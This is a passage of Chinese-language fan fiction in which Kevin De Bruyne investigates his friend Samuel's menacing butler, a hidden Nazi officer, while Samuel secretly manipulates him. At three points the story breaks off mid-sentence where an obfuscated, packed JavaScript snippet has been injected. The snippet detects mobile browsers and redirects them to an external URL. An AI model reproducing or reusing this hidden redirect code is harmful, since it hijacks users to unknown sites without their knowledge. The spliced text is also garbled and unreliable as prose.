“还是放在我这里,比跟着你安全。”德布劳内说,“谁知道你会不会又把它弄丢,就像上次。” “那比赛?” “我赛前会摘下来。”德布劳内说。 塞缪尔没再说话,但他是开心的。后面话题也没再回到管家的监视这边。 某种程度上,塞缪尔的‘贿赂’成功了。 * 快到黄昏,塞缪尔希望德布劳内能留宿,他们明天可以一起去学校。但德布劳内坚决地拒绝了。意料之中。 毕竟他才刚把“监视”这回事暴露给他。 “明天见,凯文。”门口,塞缪尔对德布劳内挥手道别,“我会在路口等你,我们一起骑车去学校。” “嗯。明天见。” 德布劳内也挥了手,然后趁着天还没黑回到寄宿家庭。等他回去晚餐已经结束了,德布劳内简单吃了点土豆和螺紋意面就回了房间。 躺在床上,他拿出塞缪尔的挂坠。 里面的照片确实换了,但比较模糊,只能依稀分辨出是那天塞缪尔在房间给他演《罗密欧与朱丽叶》时两人满屋子打闹的场景。 有够蠢的。 德布劳内忍不住笑了。 随即他想到摄像头,想到管家有可能坐在屏幕前注视着他们,嘴角的弧度立刻降了回去。 死变态。 德布劳内紧紧攥住挂坠,决心对管家追查到底。 * 然而他的想法是很好,可仅凭样貌很难找到一个人的资料。所以这件事的推动十分缓慢,一周过去没有丝毫进展。 直到又一个星期二,奇怪的事情发生了。 德布劳内意外查到塞缪尔的父亲曾做过一段时间的军医,大概在1986~1989年间。 说来也怪,他是在一张很老的西德报纸上找到的这篇文章,而文章里只提到了塞缪尔的父亲一句话。 偏偏让他看见了。 德布劳内把这件事当成命运的回馈。 然后他把这件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885006|175420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事告诉了塞缪尔,塞缪尔也很惊讶,表示自己从没听说过父亲曾在西德做过事。 这给了德布劳内很大动力,他打算顺着这条线继续追踪。 可到了第二天,等德布劳内比完赛再去找塞缪尔,塞缪尔就不理他了。不是那种闹别扭的不说话,而是刻意和他保持一定距离。 瞎子都能看出来不对劲。 管家在不远处冷冷的看着。好像他们是现实版的罗密欧·蒙太古和朱丽叶·凯普莱特。 星期五中午,塞缪尔仍然和珍妮丝的小团体坐在一起,除了偶尔盯着自己的蔬菜碗出神,他表现得相当正常。 不远处的角落里,德布劳内咬着三明治看塞缪尔。 他有一种兴奋感。比在赛场上胜过对手或者进球更让他颤栗。 这很好。 他想,这意味着他的调查方向完全正确。 只是遗憾某人将这些信息同步给了管家。德布劳内的视线穿过人群扎向塞缪尔。 黑发异瞳的少年似乎察觉到什么,抬起头。两人对视的下一秒,他垂眼不再看他。 * 下午,科学课按照常开始,这次的解剖对象是青蛙。塞缪尔对两栖类动物没什么兴趣,但也不和德布劳内说话。 德布劳内同样不理他,只管完成自己的部分。 就在老师要他们完成脊蛙反射的实验时,两人同时去拿镊子,手刚好碰到一起。 “抱歉。”塞缪尔说,“你来吧。” 德布劳内看了他一眼,没说话,拿起镊子把酸性纸贴在脊蛙腹部。过了好半天才冷不丁开口说:“谢天谢地,我以为你的声带被人拽走了。” 塞缪尔下意识回话,“我不是……” 话没说完他又闭上嘴。 德布劳内瞥了塞缪尔一眼:“怎样?” “没什么。”塞缪尔对他短暂地微笑了一瞬,低头整理实验台。 “管家又不在这儿,你怕什么。”德布劳内问。 “我不是怕。”塞缪尔小声说,“总之你不要再查下去了,管家他是好人。” 德布劳内翻了个白眼:“他要是好人我就是外星人。” 塞缪尔被逗笑了。 但他立刻收敛起来,在剩下的课堂里都没再接德布劳内的任何话。 下课后,不等教授来收青蛙,塞缪尔抓起背包跑了出去。德布劳内想都没想紧跟在后面。 学校门口,黑色的轿车停在那里。 管家站在旁边。 “我以为你喜欢跟我一起骑自行车。”德布劳内追上他问。 塞缪尔停下脚步。 “求你,凯文。”他背对着德布劳内小声说,“我很珍惜你,很珍惜我们,不要这样。” “所以你也知道这是不正常的。”德布劳内反问。 塞缪尔没回答这句话,而是又停了几秒。 “让我走吧。”他对德布劳内说,“别再查了,然后等一段时间。圣诞节之后我们又可以一起玩了。” 说完,塞缪尔转头跑向轿车。 德布劳内迅速跟上去,就在那半秒间,他做了个日后一定会在半夜被反复想起导致睡不着但绝不后悔的决定。 “等一下。” 他拉住塞缪尔准备关上的车门,然后硬生生挤上了车。 “凯文!”塞缪尔惊呆了。 德布劳内耸耸肩。 “我丢了东西在你那里。”他说。 管家坐进驾驶位,冷冷地看了后座的德布劳内一眼。 “我把护腿板落在你房间了。”德布劳内说,“明天比赛要用,我必须今晚找到它。” 塞缪尔看了管家一眼。 “就这一次。”他故作冷淡地说,然后敲了敲车门示意管家开车。 管家收回视线。 而在隐蔽的后排座位上,塞缪尔悄悄牵了德布劳内的手。 16. 16 塞缪尔家很快到了,他们在车库前下车。不等德布劳内站稳,那只猎犬不知道从什么地方窜出来对着他狂吠。 管家冷眼旁观,塞缪尔赶走了这条狼狗。 “对不起,我不知道它怎么挣脱了链子,平时都是拴着的。”他对德布劳内道歉,“没伤着你吧,凯文。” 德布劳内摇头,向不远处瞥了一眼。 管家正在那里摸那条狗的头,好像在说:好孩子。 “我会教训它的。”塞缪尔保证道。 “不用。”德布劳内拒绝。 接着他们进了屋。 德布劳内的大脑飞速运转,思考塞缪尔带他走过的地方哪里最适合存放书本和纸质资料。 既然在网上找不到信息,那么不如到最近的地方来碰碰运气,说不定这里就有揭露管家身份的文件。 塞缪尔从玻璃柜的反光上看到德布劳内的样子,低头隐蔽地笑了一下,然后转过身问:“你有印象最后一次见护腿板在什么地方吗?” “这里。”德布劳内说,“它可能在任何地方。” 塞缪尔又问:“它长什么样子?” “有弧度的塑料板,手掌那么大。”德布劳内形容道。 “还挺小的。” “嗯。” 两人开始在卧室里翻找。当然,德布劳内只是做做样子。他不能直接说要去别的地方找,只有让塞缪尔先提出来才是正当理由。 10分钟过去,护腿板仍然不见踪影。 “可能掉在走廊上。”德布劳内说。 塞缪尔沉思片刻,提议说:“那我们在房子里分头找吧,这样快一点。” 这正合德布劳内的意,他立刻同意了。 “我去一楼看看。”德布劳内说。 “好,那我就在这里。”塞缪尔对他微笑,“如果一楼二楼都找不到,我们再分别去三楼和四楼。” “嗯。” 就在德布劳内转头的那一刻,塞缪尔叫住了他:“对了凯文,一楼最近有点暗,可能会迷路。你要是找不到方向就大声喊我。我会找到你的。” 开什么玩笑,我又不是白痴。 “知道了。”德布劳内说。 塞缪尔笑了。 “祝你好运,凯文。” * 德布劳内走下楼梯,在各个房间来回搜寻。每当他走进一间房,总要先停下来,在原地站上几秒钟,确定管家和狗都不在附近后再进去。 他想,如果他要去做罪犯的话,警方的报告上肯定会有这样一句话:嫌疑人具有很强的反侦查能力。 不过这样漫无目的地寻找收获更小,很快德布劳内开始烦躁。但也就在这时他幸运地找到了书房。 就在塞缪尔曾带他去过的那间地下室和画像厅的旁边,推开一扇厚重的木门就能进去。 德布劳内进入书房,拿出早就准备好的手电筒打开。 屋里有整整四个架子的书籍和录像,靠近窗户的位置还有一个很大的书桌。所有东西都落满了灰,空中飘浮着具有年代感的颗粒物,到处是腐朽的味道。 这里是塞缪尔母亲的老宅,如果书房里有记录他父亲和管家的东西,那么只能是在他们搬过来以后才被收进来的。 把条件再放宽一些,即使那些资料不是塞缪尔搬来后才有的,也应该会是比其他东西要新、灰尘更少的才对。 按照这些特点,德布劳内先检查了书桌的抽屉。大部分里面都结了蜘蛛网,只有一个被上了锁。然后他把每一层书架都用手电筒照了一遍。 果然,在靠近书桌的架子最上层,他发现了三个很新的笔记本。一本黑色的,一本暗红色的,还有一本棕色的,都是皮质封面。 但是它们放得太高了。 德布劳内只好踩着书桌爬上去拿。几分钟后,他拿到笔记本,还从下面的架子上随机找了三个外形相似的本子摆上去,让人一眼看过去以为它们还在。 过程轻松得不像样。 完全没有发生解密游戏里的那些险情。 德布劳内从书桌上跳下来,翻开那三本笔记。 从字体和名称来看,是同一个人写的一系列文章。每本的扉页都有一个花体标题,一个短,一个长,还有一个是复合短语。 可惜全都是用钢笔写的德语字,德布劳内看不懂。 再往后翻,标题最长的那个笔记本里出现了一些插图,德布劳内越看眉头越紧皱,后背也越凉。 因为它们都是画的刑.讯场景,比如把人手脚都绑在椅子上,用鞭子、针,还有一些尖锐的东西攻击人的手指和下*。旁边还有一些箭头,画着更详细的讲解。 什么样的魔鬼才能弄出这样的笔记?德布劳内看得直犯恶心。 紧接着从这个笔记本的最后页掉下来一张照片。 德布劳内弯腰去捡。那是一张黑白照片,上面有一个身穿军装的年轻男人。 他眼睛一下瞪大了。 不是因为照片上男人神似年轻的管家,而是因为他的军装是黑色的,帽子上有一只展开双翅的鹰和一只骷髅,胸前别着的勋章是黑色十字,右臂上有两道闪电,左臂上则是红色袖标。 见鬼的,这分明是当年的纳.粹.军.装! 德布劳内感到一阵由内而外的冷。 难怪塞缪尔的管家会有那三个笔记本,都是真是发生过的……该死,他在21世纪创造了一个集.中.营,里面只关着塞缪尔一个人。 塞缪尔是管家的囚犯。 不,不对。 不是囚犯,塞缪尔是更特殊的存在。 也许是一个学徒。 这时,德布劳内余光瞥见椅子背面好像有什么东西。他静了静神,伸手把那东西扣了下来。 是一把钥匙。 他试着用这把钥匙去开那个上锁的抽屉。 ‘咔哒’ 抽屉开了。 德布劳内拉开它,在看见里面放着的东西时,他浑身的血液差点凝固。 那是一把沾血的手.枪。 …老天。 塞缪尔生活在地狱吗。我为什么遇上这种事。 不等他把这一系列事情串联起来,就听见门口响起‘嘎吱吱’的木门声音。 有人进来了! 德布劳内下意识想躲,可书房里没有能完全把他藏起来的地方。他只能站在原地以最快的速度把抽屉关上,然后将钥匙和笔记一股脑塞进背包。 快啊! 快! 就在背包拉链关上的那一瞬,管家冷冷的质问声响起:“你在这里做什么?” 德布劳内抬起头,故作镇定地说:“找东西。” “在这里找?”管家在书房里扫视一圈,眼神回到德布劳内身上,语气尖锐的好像要把他穿透。 “谁让你进来的。”管家问。 “门没锁,上面也没写禁止入内。”德布劳内说。 “所以你就进来了?”管家说着向他走去,眼睛瞥了书桌一眼,语速缓慢地骂道:“毫无教养。” 德布劳内敢肯定管家注意到抽屉被打开了。怎么办,要被灭口了吗。德布劳内有点慌,但还是挺直了腰站在原地。 紧要关头,塞缪尔跑了进来。 “等一下!” 他挤进管家和德布劳内中间,面对着管家把德布劳内挡在身后,说道:“是我让他来的。” 管家停止了靠近。 “少爷。”他叫了塞缪尔一声,“这是你外公最喜欢的房间,你和你的朋友,最好,不要进来乱动。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889337|175420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嗯,我知道。”塞缪尔说。 德布劳内越过塞缪尔的肩膀看着管家,紧接着他的手被塞缪尔抓住,能感觉到塞缪尔正抖个不停。 “那么,丢的东西,找到了吗。”管家问。 “找到了。”塞缪尔说,“在门厅的柜子底下。准是出门时掉下来,又不小心被踢进去。” 德布劳内看了塞缪尔一眼。在撒谎的时候塞缪尔抓着他的手更抖了,而不仅抖,还冰凉。 “那就好。”管家说,“我送少爷的朋友回去。” “不用。”德布劳内拒绝道,“我自己回。” 管家鹰一样的眼睛盯着他。 “你去忙吧。”塞缪尔对管家说,“凯文可以骑我的自行车回去。这阵子我不打算用它。” 说完,他对管家笑了一下,然后拉上德布劳内的胳膊逃离书房。 管家没有跟出来。 * 大门口,塞缪尔看上去松了一口气。 “我刚刚是瞎说的,凯文,你的护腿板找到了吗?”他问。 德布劳内从背包的夹层里拿出护腿板。它们从来没有离开过那里。 塞缪尔拍了拍胸口:“那就好。刚才吓死我了,那房间我从来没有去过,算是这里的禁地。” 连你都没去过? 德布劳内皱了下眉,没有把在书房的发现告诉塞缪尔。 塞缪尔把自行车交给德布劳内,然后又抱了他一下,“快走吧,不要等到天黑,那就太晚了。” 德布劳内骑上车。 他没有听见属于他的‘明天见’,于是他也没说。 离开塞缪尔家后,德布劳内去了镇上的警局。 刚进去他就大喊道:“新搬来的塞缪尔·邦迪有个逃犯管家,他给塞缪尔卧室装监控,虐待他。还藏了一把手.枪,上面有血。” 警局的的人对非电话报警十分重视,很快问清楚了细节,并由警长带头召集了4名警员一同前往。 德布劳内坐在警局的家属房间里等待。出于安全和兴趣的考量,他没把笔记本和照片的事告诉他们。 等了大约40分钟,警车回来了。 警察们有说有笑走进来,德布劳内没有在他们身后看到被铐起来的管家,他一下站了起来。 “你们没抓他?” 警长摸了摸德布劳内的脑袋:“塞缪尔没事。而且我们可以负责任地告诉你,他没有遭受虐待。” “怎么可能。”德布劳内盯着警长,“枪呢?我在书房的抽屉里看到了,看得清清楚楚。” “是这个吗?”一名警员说着丢给他什么东西。 德布劳内接住,才发现那是一把□□,上面滴满了蜡油。 “书房里太黑,你看错了。”那警员说道。 德布劳内不相信。 但手里的和看到的确实外形完全一致,而他也没有来得及把抽屉里的枪拿起来感受一下。 “摄像头怎么解释。”德布劳内又问。 “以后少看点电视剧,男孩。”警长拍了拍德布劳内的后颈,“别担心,我们在塞缪尔的房间里进行了检测,没有发现摄像头。” 这怎么可能! 凯文·德布劳内彻底懵了。 那天的后来,警长亲自开车把他送回了寄宿家庭。德布劳内浑浑噩噩地吃饭,睡觉,然后又浑浑噩噩地过了一个周末。 他甚至不记得自己的比赛是怎么开始怎么结束的,幸好他们赢了。 星期一,德布劳内去了学校。他期待塞缪尔也能来,他好找他要个说法。 然而塞缪尔却先一步高兴地对他说:“凯文凯文!好消息,不用等到圣诞节,我们又能一起玩了!” “啊?” 德布劳内被搞糊涂了。 17. 17 时间倒退14小时。 塞缪尔送探索完毕的德布劳内离开,正窃喜自己的计划稳步进行,突然警局那边亮了红灯。 “「祭品」去了警局,他们正在来的路上。怎么办?”管家对他说。 塞缪尔迅速做出调整。 他的确在房间里按了很多摄像头,但在原计划中他是要和凯文一起发现并摧毁它们。这是让凯文关心他、爱他的重要环节,可惜现在它不复存在了。 不过还好,还有挽救的余地。 塞缪尔庆幸有提前在警局安置摄像头。 管家飞快执行命令。 临近结束,塞缪尔叫住管家,冷冷说道:“再那么叫他,资格取消。你知道规矩。” 管家身子一僵,毕恭毕敬对塞缪尔行了礼。 他说:“不会有下次了。主人。” 很快警车来到,塞缪尔恢复平时的形象,叫上管家牵上狗,打开了大门。 回到现在。 德布劳内把脸贴在桌面上,双手自然下垂,就用这么个怪异的姿势侧歪着看塞缪尔。 上课铃响起。 塞缪尔把书本整理好,看了眼老师,也学着德布劳内的样子把脸贴在桌面上,用同样的方式回应他的凝视。 “凯文,你还在吗?”塞缪尔小声问。 “我不在。”德布劳内说。 他现在很乱。 所有的事情就像毛线球那样缠在一起。 “我需要答案。”德布劳内又说,“很多个,答案。” 塞缪尔笑了。 “你问我吧,也许我能给你答案。”他说。 “昨天警察去你家了吗?”德布劳内立刻开始了发问。 “去了。”塞缪尔答。 “都有谁?”德布劳内又问。 “警长,还有4名警员。”塞缪尔再答。 “他们问你话了吗?”德布劳内继续问。 “问了。” “都有什么?” “很奇怪的问题。”塞缪尔舔了舔嘴唇,“比如警长问我身上有没有伤口,有没有被强迫做不想做的事。” “你怎么说的?” “我说没有。” “……”德布劳内暗骂了一句不争气,接着问道:“他们检查了所有的设施吗?你房间里的监控呢。” “已经没有了。”塞缪尔说。似乎还有点遗憾。 德布劳内挑眉:“没有了?” 塞缪尔点点头给他解释:“昨天你一走,管家就搬来梯子拆掉了它们。幸好有够及时,不然警长就会带走他了。” “……” 德布劳内用看蠢货的眼神看了塞缪尔几秒,说道:“那就是计划,你这个白痴。” 塞缪尔看着他,几秒后突然睁大眼睛,“是你报的警!” 德布劳内翻了个白眼。 不然呢? “我告诉过你别再管这件事了。”塞缪尔不太高兴地说,然后伸手用袖子挡住眼睛,不去看德布劳内。 德布劳内被气笑了。 你还生气?都快被当成货物了还为剥削你的人说话。 他戳了塞缪尔一下。 塞缪尔动了动,让他走开。 他又戳了塞缪尔一下。 塞缪尔还是没把眼睛露出来。 德布劳内笑笑,小声说:“手放下来,不然我再也不和你说话了。” 话音刚落塞缪尔就把手缩了回去。他看上去不怎么生气,反倒很开心德布劳内能用这个来威胁他。 “别笑了。”德布劳内拍了塞缪尔一下,“我还有问题没问完。” “你问。” 德布劳内润了润喉咙,压低声音说:“枪呢?” 塞缪尔反问他:“什么枪?” “少装傻,就是书房里那把。”德布劳内忍不住加快语速,“我看见了,就在抽屉里。” “我不知道什么枪。”塞缪尔摇头说。 德布劳内感觉自己的脑袋变成了一个濒临爆.炸的气球。他明明在警局看到了一把枪,虽然是仿真的。但这说明警察们去过书房并检查了书桌,不然也不会……难道管家提前替换了它? 塞缪尔碰了碰他:“如果真的有枪,你晚上要不要来我家,我们再找一找。” 德布劳内用看神经病的眼神看塞缪尔,“在你的想法里,包括让我活着、并且完整地离开你家吗?” 塞缪尔‘噗’的笑了。 “凯文你真有意思。”他对德布劳内说,“放心,管家不在的。” “不在?” 德布劳内首先想到的是:潜逃了? “这也是我说我们又能一起玩的原因。”塞缪尔笑着说,“昨天警长走后刚好律师打来电话,说我那个远房亲戚想和我谈一谈。我不想谈,还要起诉他们伪造遗书,就让管家替我去了。” 这也太巧了。 德布劳内皱眉,努力从塞缪尔的话里找出漏洞。 “你说律师主动打电话来,是谁接的电话?” “管家。”塞缪尔说。 “所以这些都是管家转述给你的。”德布劳内总结。 “是啊。”塞缪尔又说。 “然后你就那么放他跑了?” “不是跑,是去代理我打官司。”塞缪尔纠正道。 “……” 德布劳内捏了捏鼻梁,“塞缪尔。” “嗯?” “你是个白痴。” 德布劳内真想打他。你的管家就是有罪,所以才会在被我发现疑点后出去避风头,这么明显你看不出来吗? 我就是多余管你,他想。 “那你还要来我家吗?”塞缪尔又问。 有病,你脑子里除了让我去你家还有别的东西吗?鬼才去要。 德布劳内不想和傻子说话,甩开塞缪尔把脸转到一边。因此他也没看到,塞缪尔换了一副表情撑着下巴对他的侧影微笑。 不放管家走,哪还有「我们」 你说对吧凯文。 * 晚上训练完,德布劳内还是没忍住骑车走了那条小路。很奇怪,塞缪尔家的大门开着,就像是在等着他。 不许去。 去了你就回不来了。 德布劳内盯着半开的大门,3分钟后,他骂了自己一句,把车子放好走进塞缪尔家。 来到楼下,他正准备像上次那样捡块石头扔上去,结果一抬头就看到塞缪尔托着下巴蹲在窗边。 “嘿。”德布劳内喊了一声。 塞缪尔猛地站起来:“凯文你来啦…我是说,你怎么来了。” 太明显了。 德布劳内忍了一下,抬头平静地告诉塞缪尔:“你大门没关。” “哦,肯定是我回来的时候忘记了。”塞缪尔笑着说,“你等一等我马上下去。” 快把你那两排牙齿收起来,笑那么夸张,就知道你是故意的。德布劳内在心里翻了个白眼。 没过几分钟,塞缪尔跑下来关门,然后又当着德布劳内的面上锁。 “真是太谢谢你了,凯文。如果没有你这里今晚一定遭贼。”他说。 德布劳内瞥了他一眼:“锁好了?” 塞缪尔点头,“很牢固。” 德布劳内又问:“那你有没有想过我怎么出去?” “你还要出去吗?”塞缪尔反问。 “……” 在收到德布劳内的死亡视线后,他不好意思地笑了,然后重新组织语言说:“我的意思是,你帮了我大忙,我怎么能就这么让你走。进来休息一下吧。” 这话还算过关。 德布劳内勉强同意了。 进屋后首先看到的是负责打扫的女佣。40岁左右,是个希腊人。她和他们打了招呼。 “我叫她红小姐。”塞缪尔趴在德布劳内肩上耳语,“她不会说荷兰语,法语也不太好。” 痒死了。 德布劳内躲远了一些,但没有太远。 他问:“那你们平时怎么说话?” “靠比划。”塞缪尔吐了吐舌头。 然后他又对德布劳内说:“走吧,我带你去餐厅。刚训练完你一定饿了,今晚的蘑菇汤特别美味。” 晚餐后,他们去见了厨师。那是个大胡子男人,来自西班牙,法语说得很好,人也很热情。 不知道是不是错觉,德布劳内总觉得管家走后整个房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893811|175420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子都亮堂起来了。 告别厨师,两人走到楼梯口。 塞缪尔靠在扶手上,回头提议道:“我们回房间去吧,玩电子游戏怎么样。” 德布劳内没表态,问他:“这些人你从哪里找来的?” “管家安排的。”塞缪尔说。 “可靠吗?”德布劳内又问。针对性非常明显。 “……我知道你不喜欢他,但他真的是个好人。”塞缪尔用请求的眼神看着德布劳内,“如果不是管家,我也会死在那场大火里。” 这么想也没错。 德布劳内看着塞缪尔,停顿了好久才说:“可是,如果他不想你死呢。” 塞缪尔愣住,“他不想…” “比起吞掉遗产,挥金如土的享受人生,也许他更想要一个可控制的玩偶。”德布劳内补充。 “……” 塞缪尔沉默了。 他尽力压制着想要向上的嘴角。 德布劳内不喜欢塞缪尔沉默的样子,一点也不。于是思考片刻,问道:“你确定房间里没有眼睛了?” 塞缪尔垂着头,轻轻“嗯”了一声。 下一秒他被德布劳内拉着上楼回了房间,还眼看着对方反锁上了门。 “凯文?” 德布劳内做了个噤声的手势,然后对塞缪尔说:“我给你看点东西。” * 大床上,德布劳内从背包里拿出三个笔记本和那张照片依次放好,全都摊开展示给塞缪尔看。 “这是我从书房拿到的。”他说,“我看不懂,但里面的图……” “精神控制、洗脑、还有和你的囚犯交朋友。”塞缪尔突然打断他,呆呆地连说了三个可怕的东西。 德布劳内反应几秒才意识到这分别对应那三个笔记本扉页的单词,他看向塞缪尔:“你认识它们?” “是德语。管家之前教过我。”塞缪尔说。 哦,又一条证据。 德布劳内差点鼓掌欢呼。 他看着塞缪尔拿起那本《和你的囚犯做朋友》翻看,眼里的情绪从疑惑变成震惊,又从震惊过渡成不敢相信,接着转化为愤怒,最后在看到照片时全部凝结成难过。 再抬头,他眼眶红了。 “你还好吗?”德布劳内问。 “不太好。”塞缪尔说,“我想我要吐了……” 德布劳内拍了拍他的后背。 见证一个人对另一个人信任崩塌很少见,德布劳内不会说自己有爽到,但他的确有。 “你今晚能别走了吗?”塞缪尔问。 德布劳内当然同意留宿。 塞缪尔躺下来,在枕头旁蜷缩成一团。德布劳内爬到他旁边,也躺下,和塞缪尔面对面。 两人就这么待了一会儿。 突然塞缪尔睁大眼睛弹了起来,“等等!”他叫着冲下床,从衣柜翻出一个盒子。 “那是什么?”德布劳内问。 “管家临走前给我的,说以后会用到。”塞缪尔拆开盒子,里面是一部手机,“他告诉我,我不能主动联系他,必须等他来找我。” “然后你就信了他。”德布劳内补充。 塞缪尔凄惨地笑了一下,“是啊,我真是好蠢。” 说着他拿起手机就要把它摔烂。 德布劳内及时阻止了他。 “挺贵的。”德布劳内说。 “可是——” “我也有一部手机。”德布劳内突然又说。 塞缪尔放下盒子。 “你也有?” “嗯。”德布劳内耸耸肩,“我妈妈不想让我总用寄宿家庭的电话,刚给我买的。” 塞缪尔看了眼盒子又看了眼德布劳内,最后抱着盒子回到床上。 “这样我们以后是不是就可以互发短信了?”他问。 “对。”德布劳内说,“只要你不给我发垃圾短信,或者一下发太多,我会回你。” * 这天晚上塞缪尔抱着手机入睡。就好像他们已经开始互发短信了那样。 夜里,德布劳内悄悄下床,拿着背包走进卫生间,然后翻出钱包算了算零花钱。 嗯,够买手机了。 18. 18 11月底,亨克的天气已经很冷了。大家都穿上了厚厚的外套,刚好给上课期间互发短信的人提供了便利。 哲学课上,塞缪尔把手机藏在袖子里,用短信和德布劳内商量该怎么处理管家的事。 [他最近有没有联系过你?]德布劳内打字问。刚开始发短信时他打字比较慢,一句话要花将近半分钟才行,但两周后速度就变得很快了。 [没有]塞缪尔回复道。紧接着又发了个叹气的表情。 在过去的一个月里管家一直躲在巴黎,对外宣称帮塞缪尔处理遗产事务。塞缪尔曾在德布劳内的指导下给律师打过电话询问这件事,但管家非常谨慎,没有忘掉律师这一环。 德布劳内回了塞缪尔一坨便便。 当然,这段时间他们也不是一无所获。在两人的共同努力下,那场大火前后3天的所有细节都被整理好,贴在塞缪尔房间的墙上。 让德布劳内欣慰的是,这段时间里塞缪尔只做了两件标本。兔子和蛇,并且没有再给自己放血,精神状态明显好了许多。 根据笔记本上的内容和那张照片,还有塞缪尔掌握的管家真名,他们查到他确实是一名未经审判的纳.粹.军.官,隶属党.卫.军其中的盖.世.太.保,也就是秘密警察,负责对间谍进行审问。 可惜他们虽然找到了重要的资料,但那把枪仍然下落不明。他们也很难再去警局请求帮助。狼来了的故事谁都听过。 [这都是你的错。]德布劳内发给塞缪尔一个向下的大拇指,[如果你那天对警长说实话,局面肯定不是现在这样。] 塞缪尔好久没回。 也许我说话太重了,德布劳内心想。塞缪尔失去了家人,他才是最希望管家被绳之以法的那个。 于是德布劳内飞快编辑好新的短信发给塞缪尔。 他写道:[我会陪着你,警察抓不了他我们自己来。会查清真相的。] 为表示鼓励,德布劳内准备选个微笑的表情发过去。然而就在选择emoji的时候,他的手指突然抽搐了一下,发出去的表情不是黄脸微笑而是一个红色的爱心。 见鬼! 德布劳内立刻把手机黑屏塞进书桌。 该死的软件公司,就没想过会有发错的情况吗。真是太蠢了,为什么不设置一个撤回键? 就在他诅咒了第三遍表情公司倒闭的时候,塞缪尔的回复来了。 德布劳内装作看着黑板,慢慢抽出手机。他看到屏幕上出现两颗面对面,一模一样的、鲜红的爱心。 好吧。 也许这公司可以晚两年再倒。 而此刻塞缪尔在想的则是:比起这种扁平化的心形图案,他更乐意给他亲爱的凯文送一颗真正的,跳动着的,活生生的心脏。那可珍贵多了。 正想着,前排传来‘呲呲’两声。塞缪尔抬头,正好看到珍妮丝对他扔过来一个纸团。 打开纸团,塞缪尔扫了两眼后立刻又把它揉了。也不准备回复,就那么攥在手里。 德布劳内瞥了他一眼。 忍了又忍,最后还是小声问:“怎么了?” “是珍妮丝。”塞缪尔说,“她要我增加排练次数,马上就是公演了,她不想在全镇面前丢脸。” 德布劳内想了想,最近塞缪尔的确很少再去排练了,管家的事让他分了不少心。珍妮丝的要求合情合理。 “你应该去。”德布劳内说。 塞缪尔犹豫地看过去:“可是管家……” “我们会搞定他的。”德布劳内坚信这点,“你不能因为这个耽误了生活。要找到平衡,明白吗。” 当然明白。 平衡塞缪尔暗笑了一下。 随后他重新掏出手机,发短信对德布劳内写道:[你说得对,凯文。我会多去排练的。] 紧接着他又写:[你还是不能来看我演罗密欧吗?我真的很想让你来看。如果你来,我会更有动力。] 后面附上了一个可怜兮兮的表情。 德布劳内看着那个表情笑了一会儿,想象它出现在塞缪尔脸上的样子,然后快速按键盘回复道:[我说过的,我那天有比赛。很重要。而且你的表演我已经看过了。] 塞缪尔又写:[可是我想让你看正式的。] 德布劳内回了他一个拳头。颇有物理镇压的意思。 塞缪尔发了一个吐舌的表情。然后追问:[那你什么时候能回来?说不定可以赶上最后一幕。] 为什么要赶最后一幕? 来看你接吻吗。 德布劳内晃晃脑袋,又给塞缪尔发过去一坨便便。 塞缪尔回了他一个大哭。 紧接着一条文字短信发到德布劳内手机上,塞缪尔问他:[你圣诞节有什么计划吗,凯文。比如回家。] 德布劳内:[没有。] 想了想他又补了一条:[今年是我第一次不回家过圣诞节。] 塞缪尔又问:[你的寄宿家庭呢,没有邀请你?] 德布劳内嗤笑。 他们旁敲侧击问过他好多次圣诞节回不回家了,用鞋钉都能看出来他们不是很欢迎他留下。 于是他回道:[他们才是一家人,我去干什么。] 接着德布劳内又发了一条跟塞缪尔开玩笑:[嘿,说不定今年也是我第一次在图书馆和流浪汉一起过圣诞节。] 德布劳内真的觉得这句话真的很好笑,为此他还发了一个大笑的表情。然而塞缪尔没有回他同样的大笑,甚至没有回一个“lol”。* 他写:[来我家过吧,凯文。我也是第一次不跟家人一起过圣诞。你来了,我们就都不是一个人了。] 由于阅读速度过快,当德布劳内意识到自己读了什么的时候,他已经控制不住心跳猛猛加速并带着胃一起下坠了。 德布劳内手有点抖。 他深呼吸,回了一个单词:[好] 收到回复后塞缪尔立刻把手机塞回袖子,然后在课桌下面,他悄悄牵了德布劳内的手。 德布劳内没有拒绝。 * 圣诞节这天的比赛又是在一个很远的客场举行,亨克青年队的球员们被教练带着,提前一天赶过去。 路上,塞缪尔一直在给德布劳内发短信。德布劳内烦死了,但还是忍不住回复。 每次只要他回复,不管是说‘你好吵,闭嘴’、‘便便表情’还是‘很烦,别发了’,塞缪尔就很高兴。 甚至在被骂过之后更热情了。 突然,高个子门将凑过来坐到了德布劳内旁边的座位,问道:“在发短信吗,凯文。” 德布劳内飞快扣住手机屏幕。 “没有。”他说。 “可是我看到了。”门将说。 